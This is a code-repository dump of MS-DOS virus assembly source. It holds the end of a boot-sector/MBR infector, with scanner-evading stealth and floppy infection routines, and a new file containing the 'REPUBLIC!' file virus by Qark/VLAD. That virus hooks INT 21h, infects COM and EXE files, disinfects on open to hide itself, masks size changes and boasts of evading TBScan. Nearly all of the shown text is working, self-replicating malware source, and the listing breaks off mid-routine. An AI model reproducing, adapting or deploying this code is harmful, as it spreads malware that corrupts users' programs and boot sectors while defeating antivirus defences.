MOV CL,0A ;Redirect I/O to sector 0Ah, the new location
|
||||
;of the original MBR.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Send scan program original MBR
|
||||
;instead of infected MBR.
|
||||
POP CX ;Restore original track/sector value requested
|
||||
;the calling routine. Anti-viral scanner will
|
||||
;monitor the contents of CL upon return.
|
||||
S1:
|
||||
XOR AH,AH ;Zero AH to simulate return value of
|
||||
;successful I/O.
|
||||
CLC ;Clear carry flag to simulate successful I/O
|
||||
;to calling routine.
|
||||
RETF 2 ;Return to calling routine.
|
||||
;
|
||||
;Infection counter update routine writes VIRUS_DIR containing the lastest floppy infection
|
||||
;counter value to the hard drive only if there has been a diskette infection since the last
|
||||
;hard drive access.
|
||||
;
|
||||
U1:
|
||||
PUSH DS ;Preserve DS.
|
||||
PUSH CS
|
||||
POP DS ;Set DS=CS
|
||||
CMP B[OFFSET UPDATE_FLAG-0200],SET ;Floppy infected since last HD access?
|
||||
JNE >U2 ;No, exit counter update routine.
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR ;Yes, clear floppy infect flag.
|
||||
PUSH ES ;Preserve ES.
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS
|
||||
PUSH AX ;Preserve registers.
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
MOV BX,0200 ;Set disk I/O buffer start address.
|
||||
MOV CX,0009 ;Specify track 0, sector 9.
|
||||
MOV DH,00 ;Specify head 0.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Save VIRUS_DIR w/new infect. count to HD.
|
||||
POP DX ;Restore registers
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
U2:
|
||||
POP DS
|
||||
JMP >E2 ;Exit to handler exit.
|
||||
;
|
||||
;Check the INT13h register values for drive A or B read or write request. This prevents
|
||||
;problems caused by the virus infecting a diskette during format. Also, by limiting infection
|
||||
;attempts to the first two floppy drives, it avoids the problems it would cause to a tape
|
||||
;backup system emulating a third or fourth floppy drive.
|
||||
;
|
||||
F1:
|
||||
PUSH DS ;Preserve DS.
|
||||
PUSH AX ;Preserve AX.
|
||||
CMP DL,01 ;Floppy I/O (A or B)?
|
||||
JA >E1 ;No, don't infect.
|
||||
CMP AH,02 ;Check for read function.
|
||||
JB >E1 ;Exit if below read function.
|
||||
CMP AH,03 ;Check for write function.
|
||||
JA >E1 ;Exit if above write function.
|
||||
;
|
||||
;Check diskette motor status to limit infection attempt to first INT13h call thereby preventing
|
||||
;suspicious floppy drive noises.
|
||||
;
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
MOV AL,DL ;Move motor-on test bit into AL.
|
||||
INC AL ;Position bit for floppy 'DL'.
|
||||
TEST B[MOTOR_ON],AL ;Test for floppy motor on.
|
||||
JNE >E1 ;Yes, don't infect.
|
||||
;
|
||||
;Check for presence of TSR anti-viral monitoring program to avoid detection of boot sector
|
||||
;write by virus. If present, don't attempt infection.
|
||||
;
|
||||
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
|
||||
;anti-virus program?
|
||||
JB >E1 ;If so, do not attempt infection.
|
||||
;
|
||||
;Infect floppy.
|
||||
;
|
||||
POP AX ;Restore AX.
|
||||
POP DS ;Restore DS.
|
||||
PUSHF
|
||||
CS CALL D[OFFSET BIOS_OFFSET-0200] ;Give calling routine what it wants.
|
||||
PUSHF ;Preserve flags.
|
||||
CALL >F2 ;Then attempt infection.
|
||||
POPF ;Restore flags to hide I/O errors.
|
||||
RETF 2 ;Return to calling routine.
|
||||
;
|
||||
;Jump to BIOS.
|
||||
;
|
||||
E1:
|
||||
POP AX ;Restore AX.
|
||||
POP DS ;Restore DS.
|
||||
E2:
|
||||
CS JMP D[OFFSET BIOS_OFFSET-0200] ;Jump through BIOS to calling routine.
|
||||
;
|
||||
;Diskette infection routine.
|
||||
;
|
||||
F2:
|
||||
PUSH AX ;Preserve all registers.
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
|
||||
;or better). If not, skip the date check/storage process and store floppy infection "BAD"
|
||||
;date tag in VIRUS_DIR.
|
||||
;
|
||||
MOV AX,SYS_ID_SEGMENT
|
||||
MOV DS,AX ;Set DS to ROM offset.
|
||||
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
|
||||
PUSH CS
|
||||
POP DS ;Set DS to point to dropper segment.
|
||||
JE >F3 ;If AT, check date and store before infection.
|
||||
MOV W[OFFSET FLOPPY_MODAY-0200],BAD_TAG ;Store date "BAD" tag in VIRUS_DIR.
|
||||
JMP >F4 ;Then continue infection process.
|
||||
;
|
||||
;Store month, day and year of pending floppy diskette infection in VIRUS_DIR.
|
||||
;
|
||||
F3:
|
||||
PUSH DX
|
||||
MOV AH,04 ;Set read-date function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV W[OFFSET FLOPPY_YEAR-0200],CX ;Store infection year in VIRUS_DIR.
|
||||
MOV W[OFFSET FLOPPY_MODAY-0200],DX ;Store month and day in VIRUS_DIR.
|
||||
;
|
||||
;Store time of pending floppy diskette infection in VIRUS_DIR.
|
||||
;
|
||||
MOV AH,02 ;Select read-time function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV W[OFFSET FLOPPY_TIME-0200],CX ;Store infection hour and minute in VIRUS_DIR.
|
||||
POP DX
|
||||
;
|
||||
;Load diskette boot sector to top of memory - 1KB.
|
||||
;
|
||||
F4:
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,0400 ;Set disk I/O buffer offset.
|
||||
MOV CX,0001 ;Track 0, sector 1.
|
||||
MOV DH,00 ;Head 0, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Read drive DL boot sector to buffer by
|
||||
;calling INT13h routine in BIOS ROM.
|
||||
JNB >F5 ;Proceed with infection if flag=success.
|
||||
JMP F7 ;Otherwise, exit.
|
||||
;
|
||||
;Check diskette boot sector for infection.
|
||||
;
|
||||
F5:
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
|
||||
JE >F7 ;If infected, then exit.
|
||||
;
|
||||
;Determine diskette type from BPB data to allow VIRUS_DIR and original boot sector to be
|
||||
;written to the last two root directory sectors. This maximizes the number of files that can
|
||||
;be stored on the diskette after infection. Also, detect non-standard formats and do not
|
||||
;infect to prevent damage.
|
||||
;
|
||||
MOV CL,02 ;VIRUS_DIR sector for 360K.
|
||||
MOV AX,W[BX+BPB_NUM_SECT] ;Load # sect. on floppy from BPB.
|
||||
CMP AX,02D0 ;Check for # sectors on 360K.
|
||||
JE >F6 ;Exit if 360K floppy.
|
||||
MOV CL,04 ;VIRUS_DIR sector for 720K.
|
||||
CMP AX,05A0 ;Check for # sectors on 720K.
|
||||
JE >F6 ;Exit if 720K floppy.
|
||||
MOV CL,0D ;VIRUS_DIR sector for 1.2M.
|
||||
CMP AX,0960 ;Check for # sectors on 1.2M.
|
||||
JE >F6 ;Exit if 1.2M floppy.
|
||||
MOV CL,0E ;VIRUS_DIR sector for 1.44M.
|
||||
CMP AX,0B40 ;Check for # sectors on 1.44M.
|
||||
JE >F6 ;Exit if 1.44M floppy.
|
||||
JMP >F7 ;Non-standard disk format, exit to avoid
|
||||
;damage.
|
||||
;
|
||||
;Load the first of the two root directory sectors that will be used to store the VIRUS_DIR
|
||||
;and original boot sector to top of memory - 0.5KB.
|
||||
;
|
||||
F6:
|
||||
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector # in VIRUS_BOOT.
|
||||
MOV AX,0201 ;Select read sector function.
|
||||
MOV BX,0600 ;Set disk I/O buffer offset.
|
||||
INC DH ;Head 1, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Load destination sector.
|
||||
JB >F7 ;Exit if flag=failure.
|
||||
;
|
||||
;Confirm that the directory sector chosen to be the future location of VIRUS_DIR is empty
|
||||
;before attempting infection. This prevents the loss of files which would result from
|
||||
;the overwriting of root directory entries by the virus.
|
||||
;
|
||||
CMP B[BX],00 ;Empty root directory entry?
|
||||
JNE >F7 ;No, so exit and don't infect disk.
|
||||
;
|
||||
;Copy the original boot sector's BPB to VIRUS_BOOT to allow functional infection of any
|
||||
;diskette type.
|
||||
;
|
||||
MOV SI,BPB_START+0200 ;Set source offset.
|
||||
MOV DI,BPB_START-0200 ;Set destination offset.
|
||||
MOV CL,BPB_END-BPB_START ;Set repetition count (# of bytes) for move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSB ;Move BPB to virus to allow functional
|
||||
;infection of any diskette format.
|
||||
;
|
||||
;Copy original boot sector end-of-sector text to VIRUS_BOOT to prevent easily visible changes
|
||||
;to boot sector.
|
||||
;
|
||||
MOV SI,VIRUS_BOOT_END+0200 ;Set source offset.
|
||||
MOV DI,VIRUS_BOOT_END-0200 ;Set destination offset.
|
||||
MOV CL,SECTOR_END-VIRUS_BOOT_END ;Set repetition count (number of bytes) for
|
||||
;text move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSB ;Move end-of-sector text to virus to prevent
|
||||
;easily visible change to boot sector.
|
||||
;
|
||||
;Write VIRUS_BOOT to diskette boot sector.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
XOR BX,BX ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
DEC DH ;Head 0, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Write infected boot sector.
|
||||
JB >F7 ;Exit if flag=failure.
|
||||
;
|
||||
;Increment floppy infection count.
|
||||
;
|
||||
INC W[OFFSET FLOPPY_COUNT-0200]
|
||||
;
|
||||
;Clear diskette infection flag.
|
||||
;
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],CLEAR
|
||||
;
|
||||
;Write VIRUS_DIR and original boot sector to appropriate sectors.
|
||||
;
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,B[OFFSET SECTOR-0200] ;Track 0, sector stored at 0189h.
|
||||
INC DH ;Head 1, drive DL.
|
||||
PUSHF
|
||||
CALL D[OFFSET BIOS_OFFSET-0200] ;Relocate boot sector.
|
||||
;
|
||||
;Set diskette infection flag.
|
||||
;
|
||||
MOV B[OFFSET UPDATE_FLAG-0200],SET
|
||||
;
|
||||
;Exit diskette infection routine.
|
||||
;
|
||||
F7:
|
||||
POP DI ;Restore all registers.
|
||||
POP SI
|
||||
POP ES
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET ;Return to infection routine exit.
|
||||
;
|
||||
;Virus data area.
|
||||
;
|
||||
HARD_COUNT DW ? ;Number of HD infections since drop.
|
||||
DROP_MODAY DW ? ;Month and day of HD drop.
|
||||
DROP_YEAR DW ? ;Year of HD drop.
|
||||
DROP_TIME DW ? ;Time of HD drop.
|
||||
FLOPPY_COUNT DW ? ;Number of floppy infections since drop.
|
||||
FLOPPY_MODAY DW ? ;Month and day of last floppy infection.
|
||||
FLOPPY_YEAR DW ? ;Year of last floppy infection.
|
||||
FLOPPY_TIME DW ? ;Time of last floppy infection.
|
||||
INFECT_TAG2 DW INF_TAG2 ;Infection tag for VIRUS_DIR.
|
||||
UPDATE_FLAG DB CLEAR ;Flag indicating floppy infection since last
|
||||
;HD access.
|
||||
;
|
||||
DB 3 DUP 00 ;End-of-sector pad bytes.
|
||||
;
|
||||
;End of directory sector viral code.
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;Start of MBR disk buffer.
|
||||
;
|
||||
MBR_BUFFER:
|
||||
;
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;
|
||||
CODE ENDS
|
||||
|
830
MSDOS/Virus.MSDOS.Unknown.republic.asm
Normal file
830
MSDOS/Virus.MSDOS.Unknown.republic.asm
Normal file
@ -0,0 +1,830 @@
|
||||
|
||||
; REPUBLIC!
|
||||
; +-------+ Qark/VLAD
|
||||
;
|
||||
;
|
||||
; This virus is named because I (and metabolis) support a republic for
|
||||
; Australia. Fuck the Union Jack off from our flag... we want something
|
||||
; Australian in there... and an Australian head of state not some pommy
|
||||
; bitch Queen and her corgis.
|
||||
;
|
||||
; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine
|
||||
; for this virus, but TBScan found it every time! But when i do the
|
||||
; shitty XOR routine that's at the end, TBScan hardly finds anything!
|
||||
; TBAV can be proud of it's capabilites with polymorphism, but for
|
||||
; basic encryption it's a big thumbs down...
|
||||
;
|
||||
; Stats:
|
||||
; - Disinfect on open, Infect on close.
|
||||
; - No directory filesize change
|
||||
; - No findfirst filesize change
|
||||
; - Some anti-debugging features
|
||||
;
|
||||
; Anyway, this is my best virus so far. I've come a fair way since broken,
|
||||
; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus
|
||||
; a few months ago and am better than this already.
|
||||
;
|
||||
; As always, the A86 assembler is my favourite :)
|
||||
|
||||
|
||||
org 0
|
||||
|
||||
|
||||
db 0beh ;MOV SI,xxxx
|
||||
delta dw offset enc_start + 100h
|
||||
cld
|
||||
call encrypt
|
||||
enc_start:
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
sub si,offset enc_end ;The polymorphism is done.
|
||||
|
||||
|
||||
|
||||
mov word ptr [si+offset quit],20cdh
|
||||
quit:
|
||||
mov word ptr [si+offset quit],44c7h ;The bytes changed.
|
||||
|
||||
|
||||
push es
|
||||
push si
|
||||
|
||||
;If I don't get a feed soon, I'll start to fade...
|
||||
|
||||
mov ax,0FEEDh ;Feed ?
|
||||
int 21h
|
||||
|
||||
cmp ax,0FADEh ;Yes...
|
||||
je resident ;Fade...
|
||||
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
cmp byte ptr [0],'Z'
|
||||
jne resident
|
||||
|
||||
sub word ptr [3],160 ;2560 bytes of memory.
|
||||
sub word ptr [12h],160 ;2560 bytes off TOM.
|
||||
|
||||
mov bx,word ptr [12h] ;Read in the TOM.
|
||||
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
|
||||
xor ax,ax ;ES=0 (Vector Table)
|
||||
mov es,ax
|
||||
|
||||
mov ax,word ptr es:[132] ;Get int21h.
|
||||
mov word ptr [si+offset i21],ax
|
||||
|
||||
mov ax,word ptr es:[134] ;Get int21h segment.
|
||||
mov word ptr [si+offset i21+2],ax
|
||||
|
||||
mov es,bx ;ES=Segment to store virus.
|
||||
|
||||
xor di,di ;Zero in memory.
|
||||
mov cx,offset length ;The size of the virus.
|
||||
rep movsb ;Move the virus.
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax ;ES=0 (Vector Table)
|
||||
|
||||
mov word ptr [132],offset infection
|
||||
mov [134],bx ;BX=Virus Seg I hope!
|
||||
|
||||
resident:
|
||||
|
||||
pop si ;SI=IP (Virus start)
|
||||
pop es ;ES=PSP
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp byte ptr [si+offset com_exe],1
|
||||
je exe_exit
|
||||
|
||||
mov ax,word ptr [si+offset old3]
|
||||
mov [100h],ax
|
||||
mov al,byte ptr [si+offset old3+2]
|
||||
mov [102h],al
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
call zero_all
|
||||
mov ax,100h
|
||||
jmp ax
|
||||
|
||||
Exe_Exit:
|
||||
|
||||
mov ax,es ;ES=PSP
|
||||
add ax,10h ;EXE file start.
|
||||
add word ptr [si+jump+2],ax
|
||||
|
||||
call zero_all
|
||||
|
||||
mov sp,word ptr [si+offset orig_sp]
|
||||
add ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
|
||||
mov ss,ax
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
|
||||
db 0eah
|
||||
jump dd 0
|
||||
|
||||
Message db 'Go the Republic! '
|
||||
db 'Fuck off Royal Family!',0
|
||||
Creator db 'Qark/VLAD of the Republic of Australia',0
|
||||
|
||||
Infection:
|
||||
|
||||
push ax
|
||||
xchg al,ah
|
||||
|
||||
cmp ax,004bh ;Exec. Don't infect on 4B01h because
|
||||
je test_inf ;debug will find it then.
|
||||
|
||||
cmp al,43h ;Chmod.
|
||||
je test_inf
|
||||
|
||||
cmp al,56h ;Rename.
|
||||
je test_inf
|
||||
|
||||
cmp al,6ch ;Open.
|
||||
je dis_inf
|
||||
|
||||
cmp al,3dh ;Open
|
||||
je dis_inf
|
||||
|
||||
cmp al,11h ;FCB find.
|
||||
je dir_listing
|
||||
|
||||
cmp al,12h ;Dir listing in progress.
|
||||
je dir_listing
|
||||
|
||||
cmp al,4eh ;Find first.
|
||||
je find_file
|
||||
|
||||
cmp al,4fh ;Find_next.
|
||||
je find_file
|
||||
|
||||
cmp al,3eh ;Close.
|
||||
je end_infect
|
||||
|
||||
pop ax
|
||||
|
||||
cmp ax,0FEEDh
|
||||
je res_check ;Testing for installation ?
|
||||
|
||||
jump_exit:
|
||||
|
||||
jmp jend ;Exit TSR
|
||||
|
||||
res_check:
|
||||
mov ax,0FADEh ;Return parameter.
|
||||
iret
|
||||
|
||||
dir_listing:
|
||||
jmp dir_stealth
|
||||
find_file:
|
||||
jmp search_stealth
|
||||
dis_inf:
|
||||
jmp full_stealth ;Disinfect on the fly.
|
||||
end_infect:
|
||||
jmp close_infect
|
||||
|
||||
jump2_exit:
|
||||
jmp far_pop_exit ;Just an exit.
|
||||
|
||||
test_inf:
|
||||
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
call check_name
|
||||
|
||||
jc jump2_exit
|
||||
|
||||
mov ax,3d00h ;Open readonly.
|
||||
mov dx,di ;DX=DI=Offset length
|
||||
call int21h
|
||||
|
||||
jc jump2_exit
|
||||
|
||||
mov bx,ax
|
||||
|
||||
call get_sft
|
||||
|
||||
;Test for infection.
|
||||
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
||||
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
||||
and ax,1f1fh ;Get rid of the shit we don't need.
|
||||
cmp al,ah ;Compare the seconds with minutes.
|
||||
je jump2_exit
|
||||
|
||||
Handle_Infection:
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
;Read the File header in to test
|
||||
;for EXE or COM.
|
||||
mov ah,3fh ;Read from file.
|
||||
mov cx,1ch ;1C bytes.
|
||||
call int21h ;DX=Offset length from file open.
|
||||
;We don't need the filename anymore
|
||||
;so use that space as a buffer.
|
||||
|
||||
mov si,dx ;SI=DX=offset length.
|
||||
mov di,offset header
|
||||
mov cx,18h
|
||||
rep movsb ;Move header to header.
|
||||
|
||||
|
||||
mov si,dx ;SI=DX=Offset of length.
|
||||
|
||||
mov ax,word ptr [si] ;=Start of COM or EXE.
|
||||
add al,ah ;Add possible MZ.
|
||||
cmp al,167 ;Test for MZ.
|
||||
je exe_infect
|
||||
jmp com_infect
|
||||
|
||||
EXE_infect:
|
||||
|
||||
mov byte ptr com_exe,1 ;Signal EXE file.
|
||||
|
||||
cmp word ptr [si+1ah],0 ;Test for overlays.
|
||||
jne exe_close_exit ;Quick... run!!!
|
||||
|
||||
push si ;SI=Offset of header
|
||||
|
||||
add si,0eh ;SS:SP are here.
|
||||
mov di,offset orig_ss
|
||||
movsw ;Move them!
|
||||
movsw
|
||||
|
||||
mov di,offset jump ;The CS:IP go in here.
|
||||
|
||||
lodsw ;ADD SI,2 - AX destroyed.
|
||||
|
||||
movsw
|
||||
movsw ;Move them!
|
||||
|
||||
pop si
|
||||
|
||||
call get_sft ;ES:DI = SFT for file.
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
mov cx,16 ;Divide by paragraphs.
|
||||
div cx
|
||||
|
||||
sub ax,word ptr [si+8] ;Subtract headersize.
|
||||
|
||||
mov word ptr delta,dx ;Initial IP.
|
||||
|
||||
add delta,offset enc_start ;Fix for polymorphics.
|
||||
|
||||
mov word ptr [si+14h],dx ;IP in header.
|
||||
mov word ptr [si+16h],ax ;CS in header.
|
||||
|
||||
add dx,offset stack_end ;Fix SS:SP for file.
|
||||
|
||||
mov word ptr [si+0eh],ax ;We'll make SS=CS
|
||||
mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
|
||||
add ax,offset length ;Add the virus length on.
|
||||
adc dx,0 ;32bit
|
||||
|
||||
mov cx,512 ;Divide by pages.
|
||||
div cx
|
||||
|
||||
and dx,dx
|
||||
jz no_page_fix
|
||||
|
||||
inc ax ;One more for the partial
|
||||
;page!
|
||||
no_page_fix:
|
||||
|
||||
mov word ptr [si+4],ax ;Number of pages.
|
||||
mov word ptr [si+2],dx ;Partial page.
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Lseek to start of file.
|
||||
|
||||
call get_date ;Save the old time/date.
|
||||
|
||||
mov ah,40h ;Write header to file.
|
||||
mov dx,si ;Our header buffer.
|
||||
mov cx,1ch ;1CH bytes.
|
||||
call int21h
|
||||
|
||||
jc exe_close_exit
|
||||
|
||||
mov ax,4202h ;End of file. Smaller than
|
||||
;using SFT's.
|
||||
xor cx,cx ;Zero CX
|
||||
cwd ;Zero DX (If AX < 8000H then
|
||||
;CWD moves zero into DX)
|
||||
call int21h
|
||||
|
||||
call enc_setup ;Thisll encrypt it and move
|
||||
;it to the end of file.
|
||||
exe_close_exit:
|
||||
|
||||
jmp com_close_exit
|
||||
|
||||
com_infect:
|
||||
|
||||
mov byte ptr com_exe,0 ;Flag COM infection.
|
||||
|
||||
mov ax,word ptr [si] ;Save COM files first 3 bytes.
|
||||
mov word ptr old3,ax
|
||||
mov al,[si+2]
|
||||
mov byte ptr old3+2,al
|
||||
|
||||
call get_sft ;SFT is at ES:DI
|
||||
|
||||
mov ax,es:[di+11h] ;AX=File Size
|
||||
|
||||
cmp ax,64000
|
||||
ja com_close_exit ;Too big.
|
||||
|
||||
cmp ax,1000
|
||||
jb com_close_exit ;Too small.
|
||||
|
||||
push ax ;Save filesize.
|
||||
|
||||
mov newoff,ax ;For the new jump.
|
||||
sub newoff,3 ;Fix the jump.
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Lseek to start of file :)
|
||||
|
||||
call get_date ;Save original file date.
|
||||
|
||||
mov ah,40h
|
||||
mov cx,3
|
||||
mov dx,offset new3 ;Write the virus jump to start of
|
||||
call int21h ;file.
|
||||
|
||||
pop ax ;Restore file size.
|
||||
|
||||
jc com_close_exit ;If an error occurred... exit.
|
||||
|
||||
mov word ptr es:[di+15h],ax ;Lseek to end of file.
|
||||
|
||||
add ax,offset enc_start + 100h ;File size + 100h.
|
||||
mov word ptr delta,ax ;The delta offset for COM files.
|
||||
|
||||
call enc_setup
|
||||
|
||||
com_close_exit:
|
||||
|
||||
mov ah,3eh
|
||||
call int21h
|
||||
|
||||
far_pop_exit:
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jend:
|
||||
db 0eah ;Opcode for jmpf
|
||||
i21 dd 0
|
||||
|
||||
int21h proc near ;Our int 21h
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[i21]
|
||||
ret
|
||||
int21h endp
|
||||
|
||||
close_infect:
|
||||
cmp bl,4
|
||||
ja good_handle
|
||||
pop ax
|
||||
jmp jend
|
||||
|
||||
Good_Handle:
|
||||
|
||||
push bx ;Save the original registers.
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
call get_sft ;ES:DI = SFT
|
||||
mov ax,word ptr es:[di+0dh] ;AX=Time
|
||||
and ax,1f1fh ;Shit we don't need.
|
||||
cmp al,ah ;AL=AH means infected.
|
||||
je far_pop_exit
|
||||
|
||||
mov dx,offset length
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov word ptr es:[di+2],2 ;Read/Write mode.
|
||||
mov word ptr es:[di+15h],0 ;Zero file pointer.
|
||||
mov word ptr es:[di+17h],0 ;Zero file pointer.
|
||||
add di,28h ;ES:DI=Extension
|
||||
cmp word ptr es:[di],'OC'
|
||||
je close_com
|
||||
cmp word ptr es:[di],'XE'
|
||||
jne far_pop_exit
|
||||
Close_Exe:
|
||||
inc di
|
||||
inc di
|
||||
cmp byte ptr es:[di],'E'
|
||||
jne far_pop_exit
|
||||
jmp handle_infection
|
||||
|
||||
Close_Com:
|
||||
|
||||
cmp byte ptr es:[di+2],'M'
|
||||
jne far_pop_exit
|
||||
jmp handle_infection
|
||||
|
||||
;-------
|
||||
|
||||
Full_Stealth:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp al,6ch
|
||||
jne stealth_6c
|
||||
|
||||
mov dx,si
|
||||
|
||||
stealth_6c:
|
||||
call check_name
|
||||
jnc do_stealth
|
||||
Stealth_end:
|
||||
jmp far_pop_exit
|
||||
|
||||
Do_Stealth:
|
||||
|
||||
mov ax,3d00h
|
||||
mov dx,di
|
||||
call int21h
|
||||
jc stealth_end
|
||||
|
||||
mov bx,ax ;BX=filehandle
|
||||
call get_sft
|
||||
;ES:DI=SFT
|
||||
|
||||
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
||||
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
||||
and ax,1f1fh ;Get rid of the shit we don't need.
|
||||
cmp al,ah ;Compare the seconds with minutes.
|
||||
jne stealth_end ;Not infected...
|
||||
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File size.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
sub ax,1ch ;Header+time+date = 1ch
|
||||
sbb dx,0
|
||||
mov word ptr es:[di+15h],ax ;File pointer.
|
||||
mov word ptr es:[di+17h],dx
|
||||
|
||||
mov ah,3fh
|
||||
mov dx,offset header ;Read in header.
|
||||
mov cx,1ch
|
||||
call int21h
|
||||
|
||||
pop ax
|
||||
pop dx ;DX:AX=length of file
|
||||
|
||||
sub ax,offset length ;EOF - length.
|
||||
sbb dx,0
|
||||
mov word ptr es:[di+15h],ax
|
||||
mov word ptr es:[di+17h],dx
|
||||
|
||||
mov ah,40h ;Truncate virus off.
|
||||
xor cx,cx
|
||||
call int21h
|
||||
jc stealth_end
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Start of file
|
||||
mov word ptr es:[di+17h],0
|
||||
|
||||
mov ah,40h
|
||||
mov dx,offset header
|
||||
mov cx,18h
|
||||
call int21h ;Write original header back.
|
||||
|
||||
mov cx,word ptr time
|
||||
mov dx,word ptr date
|
||||
mov ax,5701h ;Put original time/date back.
|
||||
call int21h
|
||||
|
||||
mov ah,3eh ;Close file.
|
||||
call int21h
|
||||
|
||||
jmp stealth_end
|
||||
|
||||
Check_Name proc near
|
||||
;Entry:
|
||||
;DS:DX=Filename
|
||||
;
|
||||
;Exit:
|
||||
;Carry if bad name.
|
||||
;DS=ES=CS
|
||||
;AX is fucked.
|
||||
;SI = File Extension Somewhere.
|
||||
;DI = Offset length.
|
||||
|
||||
|
||||
mov si,dx ;DS:SI = Filename.
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
mov ah,60h ;Get qualified filename.
|
||||
mov di,offset length ;DI=Buffer for filename.
|
||||
call int21h ;This converts it to uppercase too!
|
||||
|
||||
;CS:LENGTH = Filename in uppercase
|
||||
;with path and drive. Much easier
|
||||
;to handle now!
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
|
||||
mov si,di ;SI=DI=Offset Length
|
||||
|
||||
cld ;Forward!
|
||||
|
||||
find_ascii_z:
|
||||
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne find_ascii_z
|
||||
|
||||
sub si,4 ;Points to the file extension. 'EXE'
|
||||
|
||||
lodsw ;Mov AX,DS:[SI]
|
||||
|
||||
cmp ax,'XE' ;The 'EX' out of 'EXE'
|
||||
jne test_com
|
||||
|
||||
lodsb ;Mov AL,DS:[SI]
|
||||
|
||||
cmp al,'E' ;The last 'E' in 'EXE'
|
||||
jne Bad_Name
|
||||
|
||||
jmp do_file ;EXE-file
|
||||
|
||||
test_com:
|
||||
|
||||
cmp ax,'OC' ;The 'CO' out of 'COM'
|
||||
jne Bad_Name
|
||||
|
||||
lodsb ;Mov AL,DS:[SI]
|
||||
|
||||
cmp al,'M'
|
||||
je do_file ;COM-file
|
||||
|
||||
Bad_Name:
|
||||
stc
|
||||
ret
|
||||
|
||||
do_file:
|
||||
clc
|
||||
ret
|
||||
Check_Name endp
|
||||
|
||||
|
||||
Search_Stealth:
|
||||
|
||||
pop ax ;Restore AX.
|
||||
|
||||
call int21h
|
||||
jc end_search
|
||||
|
||||
push es
|
||||
push bx
|
||||
push si
|
||||
|
||||
mov ah,2fh
|
||||
call int21h
|
||||
|
||||
mov si,bx
